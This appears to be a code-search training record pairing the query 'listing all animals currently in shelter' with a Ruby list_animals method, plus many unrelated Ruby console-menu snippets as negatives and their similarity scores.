"def main_menu\n h = {\n a: :ag,\n z: :z_interface,\n # f: :file_actions,\n b: :bookmark_menu,\n c: :create_menu,\n f: :filter_menu,\n o: :order_menu,\n s: :selection_menu,\n t: :toggle_menu,\n v: :view_menu,\n '`' => :goto_parent_dir,\n x: :extras\n }\n menu 'Main Menu', h\nend",
"def sub_menu\n puts \"\\n***********************************************\".colorize(:magenta).blink\n puts \"Type the following letters to do...\".colorize(:blue)\n puts \"-----------------------------------------------\".colorize(:cyan).bold\n puts \"s = Save Recipe to My Favorites\".colorize(:blue)\n puts \"r = Rate Recipe\".colorize(:blue)\n puts \"a = See Average Recipe Rating\".colorize(:blue)\n puts \"o = Open Link to See the Steps for This Recipe\".colorize(:blue)\n puts \"m = Back to Main Menu\".colorize(:blue)\n puts \"***********************************************\\n \".colorize(:magenta).blink\n end",
"def main_menu\n h = { \n :a => :ack,\n \"/\" => :ffind,\n :l => :locate,\n :v => :viminfo,\n :z => :z_interface,\n :d => :child_dirs,\n :r => :recent_files,\n :t => :dirtree,\n \"4\" => :tree,\n :s => :sort_menu, \n :F => :filter_menu,\n :c => :command_menu ,\n :B => :bindkey_ext_command,\n :M => :newdir,\n \"%\" => :newfile,\n :x => :extras\n }\n menu \"Main Menu\", h\nend",
"def main_menu\n h = { \n \"1\" => :view_article,\n \"2\" => :view_comments,\n :f => :display_forum,\n :v => :view_menu,\n :r => :reload,\n :m => :fetch_more,\n :R => :reddit_options,\n :H => :hacker_options,\n :s => :sort_menu, \n :C => :config_menu,\n :a => :view_article,\n :c => :view_comments,\n :x => :extras\n }\n=begin\n :a => :ack,\n \"/\" => :ffind,\n :l => :locate,\n :v => :viminfo,\n :z => :z_interface,\n :d => :child_dirs,\n :r => :recent_files,\n :t => :dirtree,\n \"4\" => :tree,\n :F => :filter_menu,\n :c => :command_menu ,\n :B => :bindkey_ext_command,\n :M => :newdir,\n \"%\" => :newfile,\n=end\n\n menu \"Main Menu\", h\nend",
"def main_menu_link; MAIN_MENU_LINK; end",
"def main()\n main_menu(SHOW_HEADER);\n end",
"def list_menu\n puts \"\\nMain Menu\"\n puts \"1. Daily Prophet - News!\"\n puts \"2. Evanesco - Exit\"\n end",
"def display_main_menu(clear_screen = false)\n clear if clear_screen\n title_header(TITLES[:main_menu],\"_\",\"-\",false)\n\n Api.main_topics.each_with_index do |type, i|\n puts \"#{(\" \" * (PROFILE_SIDE / 2))}#{i+1}\".green + \". #{type}\" \n end\n\n puts \"\\n NAVIGATE: \".black.on_green + \" #{nav_main}\".on_black\n input_menu\n end",
"def sub_menu(choise)\n case choise\n when '1'\n make_route\n when '2'\n make_station\n when '3'\n make_train\n when '4'\n list_routes\n when '5'\n list_stations\n when '6'\n list_trains\n when '7'\n list_station_trains\n when '8'\n attach_station\n when '9'\n dettach_station\n when '10'\n attach_train\n when '11'\n attach_wagon\n when '12'\n dettach_wagon\n when '13'\n list_train_wagons\n when '14'\n occupy_train_wagon\n when '15'\n move_train\n else\n puts \"Введено некорректное значение меню\\n\\n\"\n end\n end",
"def main_menu\n @ui.input_1_change\n @ui.user_input1.downcase\n unless %w[trains routes stations cars].include? @ui.user_input1\n puts 'There is no such option in the main menu.'\n end\n main_menu_choose_option(@ui.user_input1)\n end",
"def main_menu\n\t\tputs '################################'\n\t\tputs '######### Tic Tac Toe ##########'\n\t\tputs '################################'\n\t\tputs '================================'\n\t\tputs '== Choose your weapon warrior =='\n\t\tputs '================================'\n\t\tputs '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^'\n\t\tputs '^^^^^^ Type Your Choice: ^^^^^^^'\n\t\tputs '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^'\n\t\tputs '$$$$$$$$$$$ 1. \"X\" $$$$$$$$$$$$$'\n\t\tputs '$$$$$$$$$$$ 2. \"O\" $$$$$$$$$$$$$'\n\t\tputs '--------------------------------'\n\tend",
"def main_menu\n name_selector\n puts \"Okay #{@name}, what would you like to do?\"\n loop do\n case menu_arrows\n when '1'\n @recommendation.recommendation_menu\n when '2'\n puts 'you have the following number of games in your library: '\n @game_library.game_instances\n puts 'your custom list of games:'\n @game_library.user_games_lister\n when '3'\n puts 'add a game:'\n @game_library.add_title\n when '4'\n @game_library.delete_games\n when '5'\n @time_used.time_wasted\n when '6'\n @game_library.write_games\n puts 'thanks for your time!'\n exit\n end\n end\n end",
"def menu\nend",
"def menu\n \n \n\nend",
"def main_menu\r\n puts \"\\nMain Menu.\"\r\n puts \"A. List Buildings\"\r\n puts \"B. List Machines\"\r\n puts \"C. List Snacks\"\r\n puts \"D. List Users\"\r\n puts \"E. Find a Snack\"\r\n puts \"F. Add a New Snack\"\r\n puts \"G. Create New User\"\r\n puts \"H. List Favorites\"\r\n puts \"I. Find Favorites\"\r\n puts \"J. Add Favorites\"\r\n puts \"Q. Quit\"\r\nend",
"def main_menu\n puts \"---------------Animal shelter 4.5A-----------\"\n puts\n puts \"[1] List clients\"\n puts \"[2] List animals for adoption\"\n puts \"[3] Add a new client\"\n puts \"[4] Add a new animal\"\n puts\n puts\n puts \"[5] exit\"\n puts \"---------------------------------------------\"\nend",
"def main_menu\n selection = input(@menu) {|o| (1..2) === o.to_i }.to_i\n \n if 1 == selection\n :continue\n elsif 2 == selection\n :quit\n end\n end",
"def run_normal\n welcome_header\n main_menu \n end",
"def menu\n \nend",
"def displaymenu # Console only\r\n\t\t @output.puts \"Menu: (1) Play | (2) New | (3) Analysis | (9) Exit\"\r\n\t\t end",
"def print_menu menu_level= '0'\n print_menu_header menu_level\n\n 20.times do |counter|\n lvl = \"#{menu_level}.#{counter}\"\n puts \" #{counter} : \" + @menu_map[lvl][0] if @menu_map.has_key?(lvl)\n end\n puts \"Make a choice between those items. (X to exit)\"\n puts \"Use left arrow to go back\"\n end",
"def main_menu\n\tputs \"[a] - addition\"\n\tputs \"[s] - subtraction\"\n\tputs \"[m] - multiplication\"\n\tputs \"[d] - divison\"\n\tputs \"[exp] - exponent\"\n\tputs \"[sqrt] - square root\"\n\tputs \"[q] - quit\"\nend",
"def main_top_menu_items\n split_top_menu_into_main_or_more_menus[:main]\n end",
"def main_menu\n input = 0\n until input.to_i == @@main_ops.length - 1 \n print \"\\e[H\\e[2J\" #clears the screen\n puts @name \n print_menu(@@main_ops)\n print \"Choose an option by entering a number: \"\n input = gets.chomp\n call_option(input)\n end\n end",
"def menu\n puts '1) Promedio de notas'\n puts '2) Inasistencia alumnos'\n puts '3) Alumnos aprobados'\n puts '4) Salir'\nend",
"def nav_main(topic = \"main\")\n main = \"\"\n back = \"\"\n profile = \"[\" + \"\\#\".green + \"] View Profiles \"\n exit_cli = \"[\" + \"exit\".green + \"] Exit Program \"\n if topic != 'main'\n back = \"[\" + \"menu\".green + \"] Main Menu \" if topic != \"Top Ten\" || topic != \"kidnapped\"\n # else\n # main = \"[\" + \"menu\".green + \"] Main Menu \" if topic != \"main\"\n end\n \"#{profile}#{back}#{main}#{exit_cli}\"\n end",
"def main_menu\n puts \"Main Menu\"\n puts \"(a) - Basic calculator\"\n puts \"(b) - Advanced calculator\"\n puts \"(c) - Special calculators\"\n puts \"(q) - Quit\"\nend",
"def main_menu\n puts \"Here is a list of available commands:\"\n puts \" new - Create a new contact\"\n puts \" list - List all contacts\"\n puts \" show - Show a contact\"\n puts \" search - Search contacts\"\n puts \" delete - Deletes a contact\"\n end",
"def main_menu\n puts\"(b) - basic calculator\"\n puts\"(a) - advanced calculator\"\n puts\"(bmi) - body mass index\"\n puts\"(t) - trip calculator\"\n puts\"(m) - morgage\"\n puts\"(q) - quit\"\nend",
"def menu # can do custom methods within a method/class\n end",
"def show_main_menu\n puts \" Welcome to the app. What's next?\"\n puts \" new - Create a new contact\"\n puts \" list - List all contacts\"\n puts \" list important - List all contacts\"\n puts \" show :id - Display contact details\"\n puts \" delete - Delete an entry\"\n puts \" find - Find an entry\"\n print \"> \"\n end",
"def main_Menu_Name\n Goldberg.menu.main_Menu_Name\n end",
"def main_menu\n while true\n print_main_menu\n user_selected =gets.to_i\n call_option(user_selected)\n end\n end",
"def main_menu\n menu = [\n \"My Stats\",\n \"My Hikes\",\n \"Trails\",\n \"Quit\"]\n choice = nil\n while choice != \"Quit\"\n system 'clear'\n puts \"------MAIN MENU------\"\n choice = @prompt.select(\"What would you like to do #{@current_user.name}?\", menu)\n\n case choice\n when \"My Stats\"\n user_stats\n when \"My Hikes\"\n hike_options\n when \"Trails\"\n trail_options\n end\n end\n end",
"def Mostrar_menu\n puts \"______________________________\"\n puts \"\\n-----[[ RUBY ARITMETICO]]-----\"\n puts \"______________________________\"\n puts \"1) Suma\"\n puts \"2) Resta\"\n puts \"3) División\"\n puts \"4) Multiplicación\"\n puts \"5) Potencia\"\n puts \"6) Residuo\"\n puts \"7) Volver al Menu Principal\"\n puts \"______________________________\"\n print \"Opcion: \"\n end",
"def main_menu(owner_name, owner)\n puts \"#{page_break}\\n\n Select from the following menu options to get started:\\n\n 1 - Make New Appointent\n 2 - Reschedule Appointment\n 3 - Cancel Appointment\n 4 - Search for a Groomer\n 5 - Exit\n \"\n end",
"def show_main_menu\n puts \"Welcome to the app. What's next?\".yellow\n puts \" new - Create a new contact\"\n puts \" list - List all contacts\"\n puts \" show - display details via index\"\n puts \" find - find someone by name\"\n puts \" quit - Exit Application\"\n print \"> \"\n end",
"def show_main_menu\n puts \"What would you like do next?\"\n puts \" new - Create a new contact\"\n puts \" list - List all contacts\"\n puts \" delete - Delete a contact\"\n puts \" show - Display contact details\"\n # puts \" find - Find a contact\"\n print \"> \"\n end",
"def getMenu(menu)\n end",
"def show_main_menu\n puts \"Welcome to the app. What's next?\"\n puts \" new - Create a new contact\"\n puts \" list - List all contacts\"\n puts \" find - Find by name\"\n puts \" delete - Delete by ID\"\n puts \" quit - Exit Application\"\n print \"> \"\n end",
"def menu\n puts \"- Type in a #{\"Nintendo Character\".colorize(:red)} | #{\"Game Series\".colorize(:blue)} | #{\"Amiibo Series\".colorize(:green)}\\n\\n\"\n puts \"- Type #{'1'.colorize(:yellow)} for a list of all the Game Series included in the Amiibo collection\"\n puts \"- Type #{'2'.colorize(:yellow)} for a list of all the Amiibo Series included in the Amiibo collection\"\n puts \"- Type #{'3'.colorize(:yellow)} for a list of all the Characters included in Amiibo collection\"\n puts \"- Type #{'4'.colorize(:yellow)} for a list of ALL Amiibos collection\\n\\n\"\n puts \"- Type #{'exit'.colorize(:yellow)} to exit the CLI\\n\\n\"\n puts \"--------------------------------------------------------------------------------\\n\\n\"\n sleep(2)\n end",
"def main_menu\n puts \"(b) - basic calculator\"\n puts \"(a) - advanced calculator\"\n puts \"(bmi) - BMI calculator\"\n puts \"(m) - mortgage calculator\"\n puts \"(t) - trip calculator\"\n puts \"(q) - quit\"\nend",
"def print_menu\n puts \"\\nMAIN MENU\"\n puts \"add (+)\"\n puts \"subtract (-)\"\n puts \"multiply (*)\"\n puts \"divide (/)\"\n puts \"modulo (%)\"\n puts \"exponify (^)\"\nend",
"def main_menu\n @active = 0\n @prompt.select(\"\\nWhat would you like to do?\\n\".blue) do |menu|\n menu.choice \"Check out what's on today\", -> {today_menu} \n menu.choice \"Check out things to do on the weekend\", -> {weekend_menu}\n menu.choice \"Look at my favourites\", -> {display_favorites}\n menu.choice \"Exit\".red, -> {leave_app} \n end \n end",
"def printMenu\n\t\tself.report(\"\n\t\tEscolha uma opção\n\t\t1 - Trocar palavra-chave.\n\t\t2 - Ver palavra-chave.\n\t\t3 - Ver arquivo.\n\t\t4 - Sair.\n\t\t? \", 1)\t\t\n\tend",
"def main_menu()\n system 'clear'\n loop do\n headline(\"My Petsitter App\")\n puts \"#{@emoji[:smiling_cat_face_with_open_mouth]} Welcome! #{@emoji[:dog_face]}\".colorize(:bold)\n puts @headline\n input = @prompt.select('Menu:') do |menu|\n menu.choice name: 'Pet Sitters', value: \"PET_SITTERS\"\n menu.choice name: 'Clients', value: \"CLIENTS\"\n menu.choice name: 'Jobs', value: \"JOBS\"\n menu.choice name: 'Logout', value: \"EXIT\"\n end\n puts '-' * 20\n go_to(input)\n end\n end",
"def show_main_menu\n puts \"Welcome to the app. What's next?\"\n puts \" new - Create a new contact\"\n puts \" list - List all contacts\"\n puts \" find - Find by name\"\n puts \" quit - Exit Application\"\n print \"> \"\n end",
"def index\n\t\t@content_title = \"Main menu\"\n\tend",
"def main_menu\n\tputs \"\\n1 Library\\n2 Staff Members\\n3 Books\\n4 Patrons\\n0 Exit\\n\"\n\tselect = make_selection\n\n\twhile select != \"1\" && select != \"2\" && select != \"3\" && select != \"4\" && select != \"0\"\n\t\tputs \"\\nInvalid choice selected\\n\"\t\t \t\t\n\t\tselect = make_selection\n\tend\n\n\tif select == \"1\"\n\t\tlibrary_choice = \"9\"\n\t\twhile library_choice != \"0\"\n\t\t\tlibrary_choice = select_choice_library\n\t\tend\n\n \telsif select == \"2\"\n\t\tstaff_member_choice = \"9\"\n\t\twhile staff_member_choice != \"0\"\n\t\t\tstaff_member_choice = select_choice_staff_member\n\t\tend\n\n\n\telsif select == \"3\"\n\t\tbook_choice = \"9\"\n\t\twhile book_choice != \"0\"\n\t\t\tbook_choice = select_choice_book\n\t\tend\n\n\n\telsif select == \"4\"\n\t\tpatron_choice = \"9\"\n\t\twhile patron_choice != \"0\"\n\t\t\tpatron_choice = select_choice_patron\n\t\tend\n\n\n\telsif select == \"0\"\n\t\tputs \"\\nGoodbye\"\t\t \t\t\n\tend\n\tselect \nend",
"def Mostrar_menu\n puts \"______________________________\"\n puts \"\\n-----[[ RUBY RANGOS]-----\"\n puts \"______________________________\"\n puts \"1) Generación numérica\"\n puts \"2) Generación de letras\"\n puts \"3) Volver al Menu Principal\"\n puts \"______________________________\"\n print \"Opcion: \"\n end",
"def print_main_menu\n\t\tputs \"[1] Add a contact\"\n\t\tputs \"[2] Modify a contact\"\n\t\tputs \"[3] Display all contacts\" \n\t\tputs \"[4] Display one contact\"\n\t\tputs \"[5] Display an attribute\"\n\t\tputs \"[6] Delete a contact\"\n\t\tputs \"[7] Exit\"\n\t\tputs \"Enter a number\"\n\tend",
"def show_main_menu\n puts \"Welcome to the app. What's next?\"\n puts \" new - Create a new contact\"\n puts \" list - List all contacts\"\n puts \" show id - Show info for contact id number\"\n puts \" quit - Exit Application\"\n print \"> \"\n end",
"def display_menu\n system('clear')\n arr = ['My List', 'Recommendations', 'Playlist', 'Account Details', 'Exit']\n @prompt.select(\"》 MAIN MENU 《\\n\".colorize(:light_green), arr)\n end",
"def main_menu\n\t\twhile true\n\t\t\tprint_main_menu\n\t\t\tinput = gets.chomp.to_i\n\t\t\treturn if input == 7\n\t\t\tchoose_option(input)\n\t\tend\n\tend",
"def main_menu\n \"Welcome to BATTLESHIP\\nEnter p to play or q to quit\"\n end",
"def main_menu\n\n\tputs \"***Ruby Cheatsheet***\"\n\tputs \"1. Command Line\"\n\tputs \"2. IDE\" \n\tputs \"3. Search\"\n\tputs \"4. Quit\"\n\tputs \"Make a selection 1 - 4:\"\n\nend",
"def init_menu\n @menus.set_selected(\"about\")\n end",
"def show_main_menu\n puts \"Welcome to the app. What would you like to do?\"\n puts \" new - Create a new contact\"\n puts \" list - List all contacts\"\n puts \" quit - Exit Application\"\n puts \" show - shows contact with specific id\"\n puts \" find - find a user\"\n print \"> \"\n end",
"def print_main_menu\n puts \"1. Add a contact\"\n puts \"2. Modify a contact\"\n puts \"3. Display all contacts\"\n puts \"4. Display a contact\"\n puts \"5. Display contact attributes\"\n puts \"6. Delete a contact\"\n puts \"7. Exit\"\n end",
"def main_menu_nav(main_menu_item)\n main_menu_items.each do |item|\n if item.text == main_menu_item\n item.click\n break\n end\n end\n end",
"def show_main_menu\n puts \"\\e[H\\e[2J\"\n puts \"Welcome to the app. What's next?\"\n puts \" new - Create a new contact\"\n puts \" list - List all contacts\"\n puts \" quit - Exit Application\"\n print \"> \"\n end",
"def menu\n # This uses a HEREDOC for multiline listing\n puts \"-------------------------\".colorize(:green) \n puts <<-MENU\n\nChoose a how you would like to see a card. You can view by name, creature, enchantment or sorcery:\n1. See cards by Name \n2. See cards by Creature \n3. See cards by Enchantment \n4. See cards by Sorcery\n\nOr type 'exit' at any time to leave the program. Type 'menu' to return to the main menu.\n MENU\n end",
"def main_menu\n \twhile true\n \t\tprint_main_menu\n\n \t\tprint \"Choose an option:\"\n \t\tuser_input = gets.chomp.to_i\n\n \t\tbreak if user_input == 7\n \t\t\n choose_option(user_input)\n \tend\n end",
"def main_menu\n\t\twhile true\n\t\t\tprint_main_menu\n\t\t\tuser_selected = gets.chomp.to_i\n\t\t\t\tif user_selected == 7\n\t\t\t\tputs \"Current session ended, goodbye!\"\n\t\t\t\treturn\n\t\t\tend\n\t\t\tcall_option(user_selected)\n\t\tend\n\tend",
"def define_menu_items\n add_menu_item(\"Weekly worktime.\", 1)\n add_menu_item(\"Monthly worktime.\", 2)\n add_menu_item(\"Custom worktime interval.\", 3)\n add_menu_item(\"Cancel and return to previous menu.\", 4)\n end",
"def menu\n\t\tputs \"\\nQuelle action veux-tu effectuer ?\"\n\t\tputs \"a - chercher une meilleure arme\"\n\t\tputs \"s - chercher à se soigner\\n\"\n\n\t\tputs \"\\nattaquer un joueur en vue :\"\n\t\tif player1.life_points > 0 \n\t\t\tputs \"0 - Josiane a #{player1.life_points} points de vie\"\n\t\tend\n\t\tif player2.life_points > 0\n\t\t\tputs \"1 - José a #{player2.life_points} points de vie\"\n\t\tend\n\t\tif player3.life_points > 0\n\t\t\tputs \"2 - José a #{player3.life_points} points de vie\"\n\t\tend\n\t\tif player4.life_points > 0\n\t\t\tputs \"3 - José a #{player4.life_points} points de vie\"\n\t\tend\n\tend",
"def menu\n puts \"Quelle action veux-tu effectuer ?\" #Presentation menu\n puts \"\"\n puts \"a - chercher une meilleure arme\"\n puts \"s - chercher à se soigner\"\n puts \"\"\n puts \"Attaquer un joueur en vue\"\n print \"0 - \"\n puts @human_player.show_state\n counter_of_ennemies = 0\n @enemies.each do |mechant|\n print \"#{counter_of_ennemies} - \" \n puts mechant.show_state\n counter_of_ennemies += 1\n end\n end",
"def bar\n puts 'bar'\n main_menu\nend",
"def print_main_menu\n\t\tputs \"[1] Add a new contact\"\n\t\tputs \"[2] Modify an existing contact\"\n\t\tputs \"[3] Delete a contact\"\n\t\tputs \"[4] Display all the contacts\"\n\t\tputs \"[5] Display an attribute\"\n\t\tputs \"[6] Exit\"\n\t\tputs \"Enter a number: \"\n \tend",
"def menu\n\tputs \"Quelle action veux-tu effectuer?\"\n\tputs \"\\n\"\n\tputs \"a - chercher une meilleure arme\"\n\tputs \"s - chercher à se soigner\"\n\tputs \"\\n\"\n\tputs \"attaquer un joueur en vue :\"\n\ti = 0\n\tenemies_in_sight.each do |enemy|\n\t\ti +=1\n\t\tputs \"#{i} - #{enemy.name} a #{enemy.life_points} points de vie.\"\n\tend\n\tputs \"Fais ton choix\"\n\tprint \">\"\n\tend",
"def view_menu\n h = {\n f: :select_from_visited_files,\n d: :select_from_used_dirs,\n b: :view_bookmarks,\n s: :list_selected_files,\n c: :child_dirs,\n r: :recent_files,\n t: :tree,\n e: :dirtree\n }\n menu 'View Menu', h\nend",
"def main_menu\n puts \"(b) - basic calculator\"\n puts \"(a) - advanced calculator\"\n puts \"(q) - quit\"\nend",
"def main_menu\n puts \"(b) - basic calculator\"\n puts \"(a) - advanced calculator\"\n puts \"(q) - quit\"\nend",
"def index\n @root_menus = @system_config.menus.root_menus\n end",
"def assigned_menu\n\n end",
"def main_menu_runner\n\n splash\n\n login_menu_display\n\n end",
"def main_menu\n\tfinished = false\n\tbegin\n\t puts ' Text Music Player '.colorize(:color => :black, :background => :yellow)\n\t puts\n\t puts ' Main Menu: '.colorize(:color => :while, :background => :blue)\n\t puts '1 - Read in Album '.colorize(:color => :black, :background => :white)\n\t puts '2 - Display Albums Info '.colorize(:color => :black, :background => :white)\n\t puts '3 - Play Album '.colorize(:color => :black, :background => :white)\n\t puts '4 - Update Album '.colorize(:color => :black, :background => :white)\n\t puts '5 - Exit '.colorize(:color => :black, :background => :white)\n\t choice = read_integer_in_range(\"Option: \", 1, 5)\n\t case choice\n\t when 1\n\t\tdatabase_file = read_file\n\t\talbums = read_albums(database_file)\n\t when 2\n\t\tif validate(albums)\n\t\t\tprint_albums_info(albums)\n\t\tend\n\t when 3\n\t\tif validate(albums)\n\t\t\tplay_album(albums)\n\t\tend\n\t when 4\n\t\tif validate(albums)\n\t\t\tselect_update_album(albums)\n\t\tend\n\t else\n\t\tif isUpdated(albums)\n\t\t\tputs 'Updating album file infomation..'\n\t\tend\n\t\tfinished = true\n\t end\n\tend until finished\nend",
"def main_menu(user)\n user = user\n self.clear\n Ascii.image\n menu = [\"See all my plants\",\"Add new plant\",\"Delete my account\",\"Quit\"]\n menu_selection = @@prompt.select(\"What would you like to do?\",menu)\n \n case menu_selection\n when \"See all my plants\"\n my_plant(user)\n when \"Add new plant\"\n add_plant(user)\n when \"Delete my account\"\n answer = @@prompt.yes?(\"Are you sure?\")\n answer == true ? user.destroy : self.main_menu(user)\n when \"Quit\"\n index = 0\n # binding.pry\n color = [\"#7FFF00\",\"#6B8E23\",\"#008000\",\"#2F4F4F\",\"#00008B\"]\n 5.times do\n self.clear\n # binding.pry\n puts Paint[Ascii.goodbye, color[index]] \n index += 1\n sleep(0.7)\n end \n end\n end",
"def main_menu\n while true\n print_main_menu\n user_selected = gets.chomp.to_s\n call_option(user_selected)\n end\n end",
"def menu ()\n menu_string = \"1. Show Menu\\n\"\n menu_string += \"2. Add Numbers\\n\"\n menu_string += \"3. Subtract Numbers\\n\"\n menu_string += \"4. Quit\\n\"\n return menu_string\nend",
"def menu_selection \nend",
"def main_menu(user_instance)\n user_greeting(user_instance)\n case help\n when \"1\", \"playlist\", \"playlists\"\n system(\"clear\")\n playlists_menu(user_instance)\n when \"2\", \"songs\", \"song\"\n system(\"clear\")\n songs_menu(user_instance)\n # when \"3\", \"artists\", \"artist\"\n # system(\"clear\")\n # artists_menu(user_instance)\n when \"exit\"\n system(\"clear\")\n goodbye\n exit\n else\n system(\"clear\")\n puts \"Please enter a valid command.\".colorize(:red).bold\n main_menu(user_instance)\n end\nend",
"def menuScreen\n @levelNo=1\n clearScreen\n puts \"You are at the menu for Sokoban\"\n puts \"To quick play: Press 'p'\"\n puts \"To choose a level: Press 'c'\"\n puts \"To stop: Press 'q'\"\n charPressedInMenu\nend",
"def main_menu\n\tputs \"Welcome to Happitails!\"\n\tputs \"Please choose from the options below\"\n\tputs \"1. Add Animal\"\n\tputs \"2. Create Client\"\n\tputs \"3. Adopt an animal\"\n\tputs \"4. Put animal up for adoption\"\n\tputs \"5. View all animals\"\n\tputs \"6. View all clients\"\n\n\n\t# puts \"Z. SECRET DEBUGGING MODE\"\n\n\tputs \"q. Quit\"\nend",
"def display_main_menu\n loop do\n case main_menu_selection\n when 1\n RunApp.start_quiz(1)\n when 2\n RunApp.start_quiz(2)\n when 3\n exit\n end\n end\n end",
"def print_menu\n puts \"1. List patients\"\n # ....\n end",
"def display_main_menu\n puts '################################'\n puts '# {N}- Network Stuff #'\n puts '# {RF}- Read File #'\n # puts '# {GF}- Generate File #'\n # puts '# {D}- Run as Daemon #'\n # puts '# {TD}- Run as Trigger Daemon #'\n puts '# {Q}- Quit #'\n puts '################################'\nend",
"def print_menu()\n menu = [\"Add Item charge\",\"Add Labor\",\"Apply Discount\",\"total\",\"New Transaction\", \"Exit Application\"];\n\n for i in 1..6 do\n puts(\"#{i}\\t\\t#{menu[i-1]}\");\n end \nend",
"def start_menu\n printf \"\\nPrograma para a disciplina de LPD\\n\"\n printf \"Choose one option\\n\"\n printf \"------------------------------------\\n\"\n printf \"1) Insert user\\n\"\n printf \"2) Login user\\n\"\n printf \"3) Delete user\\n\"\n printf \"0) Exit\\n\"\nend",
"def print_main_menu\n puts \"[1] Add a new contact\"\n puts \"[2] Modify an existing contact\"\n puts \"[3] Delete a contact\"\n puts \"[4] Display all contacts\"\n puts \"[5] Search by attribute\"\n puts \"[6] delete_all\"\n puts \"[7] exit\"\n puts \"Enter a number: \"\n end",
"def main_menu\n menu_options = [\"Start exploring\", \"Check Inventory\", \"Check Your Score\", \"Go to Pokemon Center\", \"Quit\"]\n menu_prompt = Interactivity.mainMenu \n \n if user.pokemon == nil\n menu_options.shift()\n menu_options.unshift(\"Choose a Pokemon and start exploring\")\n elsif self.user_current_location\n menu_options.shift()\n menu_options.unshift(\"Keep Exploring\")\n end\n \n choice = prompt.select(menu_prompt, menu_options) \n if choice == \"Start exploring\" || choice == \"Choose a Pokemon and start exploring\" || choice == \"Keep Exploring\"\n self.trainer_chooses_pokemon if user.pokemon == nil \n self.trainer_chooses_town\n self.exploring_town\n elsif choice == \"Check Inventory\"\n puts \"MANAGE INVENTORY - CHANGE POKEMONS AROUND\"\n elsif choice == \"Go to Pokemon Center\"\n self.pokemon_center\n elsif choice == \"Check Your Score\"\n puts \"CHECK YOUR SCORE\"\n else\n Interactivity.quit\n end\n end",
"def goldberg_main_menu\n render :file => \"#{RAILS_ROOT}/vendor/plugins/goldberg/app/views/goldberg/menu_items/_menubar.rhtml\", :use_full_path => false, :locals => {:level => 0, :depth => 0, :class_attr => nil}\n end",
"def main_menu\n puts <<~Doc\n Welocome to the New York Times Bestsellers List!\n Please choose one of the following options to get started:\n Doc\n NytBestsellersList::Lists.print_list_names\n end",
"def selection_menu\n h = {\n a: :select_all,\n u: :unselect_all,\n s: :toggle_select,\n '*' => 'toggle_multiple_selection',\n 'x' => 'toggle_visual_mode',\n 'm' => 'toggle_selection_mode',\n v: :view_selected_files\n }\n menu 'Selection Menu', h\nend",
"def call_menu\n call_idle($game_player.old_character_name, false)\n syn_map_menu\n end",
"def call_menu\n return if $game_system.menu_disabled\n Sound.play_open_menu\n @spriteset.clear_banners\n#~ if @spriteset.banners?\n#~ bs = @spriteset.title_banners ? @spriteset.title_banners : []\n#~ pb = @spriteset.party_banners ? @spriteset.party_banners : []\n#~ rb = @spriteset.red_banners ? @spriteset.red_banners : []\n#~ $game_temp.remember_banners = [[bs],[pb],[rb]]\n#~ $game_temp.remember_banner_phase = [@spriteset.tickdown,@spriteset.banner_phase]\n#~ $game_temp.remember_joiners = @spriteset.joiners\n#~ $game_temp.remember_leavers = @spriteset.leavers\n#~ $game_temp.remember_removed = @spriteset.removed\n#~ $game_temp.remember_header = @spriteset.header_banner\n#~ $game_temp.remember_posx = @spriteset.posx\n#~ end\n SceneManager.call(Scene_Menu)\n Window_MenuCommand::init_command_position\n end",
"def define_menu_items\n check_attributes\n @menu_description.concat(\"\\n #{set_boundaries}\")\n add_menu_item(\"All tasks to a person in the given #{time_string}.\", 1)\n add_menu_item(\"Worktime of a person in that #{time_string}.\", 2)\n add_menu_item(\"All tasks running during the interval.\", 3)\n add_menu_item(\"Write Query result to csv-file.\", 4)\n add_menu_item(\"Cancel and return to previous menu.\", 5)\n end",
"def print_main_menu\n puts '[1] Add a new contact'\n puts '[2] Modify an existing contact'\n puts '[3] Delete a contact'\n puts '[4] Display all the contacts'\n puts '[5] Search by attribute'\n puts '[6] Exit'\n puts 'Enter a number: '\n\n end",
"def menu\n puts \"------Calculator----\"\n puts \"Welcome to the calculator!\"\n puts \"Please select an option:\"\n puts \"\\t1) Enter numbers and modifier\"\n puts \"\\t2) Enter a string input\"\n puts \"\\t3) View the calculations you have preformed\"\n puts \"\\t4) Exit\"\n main_menu\n end",
"def init_menu\n @menus.set_selected(\"dashboard\")\n end",
"def menu_options\n system \"clear\"\n puts \"~~~ Welcome #{@user.username} to the Main Menu ~~~\\n\\n\" \n puts \"{1} Continue from previous story \"\n puts \"{2} Create new story\"\n puts \"{3} Delete a story\"\n puts \"{4} Tutorial\"\n puts \"{5} End My Session\"\nend"
] |
[
"0.7417538",
"0.72860456",
"0.7181588",
"0.71137315",
"0.7107278",
"0.7035883",
"0.70126736",
"0.69557035",
"0.692822",
"0.67785347",
"0.6764625",
"0.6720514",
"0.6717493",
"0.6638011",
"0.66245",
"0.66058564",
"0.6599095",
"0.65947485",
"0.65723926",
"0.65701467",
"0.6549347",
"0.6544407",
"0.6534334",
"0.653235",
"0.6507749",
"0.6506646",
"0.6476219",
"0.64748704",
"0.6474852",
"0.6472894",
"0.6409523",
"0.6399415",
"0.6394634",
"0.6391918",
"0.6348445",
"0.63432014",
"0.6342554",
"0.63080615",
"0.6306428",
"0.63032943",
"0.62934893",
"0.6286535",
"0.6283321",
"0.6280866",
"0.6259621",
"0.6243988",
"0.62425894",
"0.623956",
"0.6237234",
"0.6227536",
"0.6224545",
"0.62242836",
"0.6222012",
"0.62107223",
"0.6202219",
"0.6191463",
"0.617653",
"0.61761004",
"0.6169452",
"0.61683637",
"0.6164814",
"0.6161998",
"0.6161738",
"0.6157033",
"0.6155969",
"0.6155767",
"0.614684",
"0.61401665",
"0.6133826",
"0.6133238",
"0.6125625",
"0.6113227",
"0.6113227",
"0.60912234",
"0.6085796",
"0.6071964",
"0.6070751",
"0.6070112",
"0.6069032",
"0.60574836",
"0.6056543",
"0.6046891",
"0.6037157",
"0.6014136",
"0.60065466",
"0.60065466",
"0.5995942",
"0.5984214",
"0.5976944",
"0.59753865",
"0.5975228",
"0.5971367",
"0.59697783",
"0.5967186",
"0.59616107",
"0.59575564",
"0.59539837",
"0.5953423",
"0.59396625",
"0.59376943",
"0.59318596"
] |
0.0
|
-1
|
listing all animals currently in shelter
|
def list_animals
puts "Here are the current animals in shelter: "
@animals_in_shelter.each do |animal|
puts animal.get_animal_info
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
